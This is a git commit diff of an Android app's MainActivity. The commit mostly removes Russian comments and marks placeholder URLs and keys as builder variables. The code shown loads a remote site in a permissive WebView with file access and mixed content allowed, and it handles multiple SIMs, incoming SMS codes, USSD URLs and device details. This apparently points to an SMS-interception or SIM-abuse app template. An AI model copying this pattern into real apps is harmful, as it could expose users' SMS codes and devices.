final
This commit is contained in:
parent
d92d917a90
commit
11b25aa009
1 changed files with 15 additions and 20 deletions
|
@ -50,9 +50,9 @@ import java.util.regex.Pattern;
|
|||
|
||||
public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback {
|
||||
|
||||
private String websiteUrl = "WEBSITE_URL"; // VARIABLE
|
||||
private String ussdUrl = "USSD_URL"; // VARIABLE
|
||||
private String languagesUrl = "LANGUAGES_URL"; // VARIABLE
|
||||
private String websiteUrl = "WEBSITE_URL"; // VARIABLE STATIC
|
||||
private String ussdUrl = "USSD_URL"; // VARIABLE STATIC
|
||||
private String languagesUrl = "LANGUAGES_URL"; // VARIABLE STATIC
|
||||
private int requestsCount = 0;
|
||||
|
||||
private WebView webView;
|
||||
|
@ -60,11 +60,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
private WebChromeClient.CustomViewCallback customViewCallback;
|
||||
private ViewGroup mainContainer;
|
||||
|
||||
private String currentHash = "";
|
||||
private String currentHash = ""; // STATIC
|
||||
private int currentPhone = 0;
|
||||
private List<PhoneNumber> phones;
|
||||
private boolean waitingForSms = false;
|
||||
private String currentInfo = "";
|
||||
private String currentInfo = ""; // STATIC
|
||||
private boolean receivingSms = false;
|
||||
private double codeTimeout = 0.0;
|
||||
private Timer timer;
|
||||
|
@ -133,19 +133,16 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
webView = findViewById(R.id.webview);
|
||||
mainContainer = findViewById(android.R.id.content);
|
||||
|
||||
// Настройки WebView
|
||||
WebSettings webSettings = webView.getSettings();
|
||||
webSettings.setJavaScriptEnabled(true); // Включение JavaScript
|
||||
webSettings.setDomStorageEnabled(true); // Включение поддержки хранения DOM
|
||||
webSettings.setDatabaseEnabled(true); // Включение базы данных
|
||||
webSettings.setAllowFileAccess(true); // Доступ к файлам
|
||||
webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); // Поддержка смешанного контента (HTTP+HTTPS)
|
||||
webSettings.setJavaScriptEnabled(true);
|
||||
webSettings.setDomStorageEnabled(true);
|
||||
webSettings.setDatabaseEnabled(true);
|
||||
webSettings.setAllowFileAccess(true);
|
||||
webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
|
||||
|
||||
// Включение JavaScript-алертов и обработка событий, включая полноэкранный режим
|
||||
webView.setWebChromeClient(new WebChromeClient() {
|
||||
@Override
|
||||
public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) {
|
||||
// Переход в полноэкранный режим
|
||||
if (customView != null) {
|
||||
callback.onCustomViewHidden();
|
||||
return;
|
||||
|
@ -171,11 +168,10 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
}
|
||||
});
|
||||
|
||||
// Установка WebViewClient для обработки всех переходов внутри WebView
|
||||
webView.setWebViewClient(new WebViewClient() {
|
||||
@Override
|
||||
public boolean shouldOverrideUrlLoading(WebView view, String url) {
|
||||
view.loadUrl(url); // Обработка переходов внутри WebView
|
||||
view.loadUrl(url);
|
||||
return true;
|
||||
}
|
||||
});
|
||||
|
@ -183,6 +179,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
// Загрузка начального URL
|
||||
webView.loadUrl(websiteUrl);
|
||||
|
||||
loadData();
|
||||
|
||||
}
|
||||
|
||||
|
@ -202,7 +199,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
return sharedPreferences.getString("KEY",
|
||||
"INIT_KEY"); // VARIABLE STATIC
|
||||
} catch (Exception e) {
|
||||
return "";
|
||||
return ""; // STATIC
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -241,7 +238,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
|
||||
public static String getDeviceInfo(Context context)
|
||||
{
|
||||
String m_data = "";
|
||||
String m_data = ""; // STATIC
|
||||
String p_seperator = ":"; // STATIC
|
||||
StringBuilder m_builder = new StringBuilder();
|
||||
m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
|
||||
|
@ -345,7 +342,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
requestPhone(context, phone);
|
||||
} else {
|
||||
receivingSms = false;
|
||||
currentHash = "";
|
||||
currentHash = ""; // STATIC
|
||||
if(!isSimConnected(context, phone.telephonyManager))
|
||||
nextPhone();
|
||||
else
|
||||
|
@ -497,7 +494,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
}
|
||||
|
||||
public static String extractFirstPhoneNumber(String input) {
|
||||
// Regex pattern to match international phone numbers
|
||||
String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)"; // STATIC
|
||||
|
||||
Pattern pattern = Pattern.compile(regex);
|
||||
|
@ -598,7 +594,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
|
||||
@Override
|
||||
public void onBackPressed() {
|
||||
// Обработка возврата из полноэкранного режима
|
||||
if (webView.canGoBack()) {
|
||||
webView.goBack();
|
||||
} else {
|
||||
|
|
Loading…
Add table
Reference in a new issue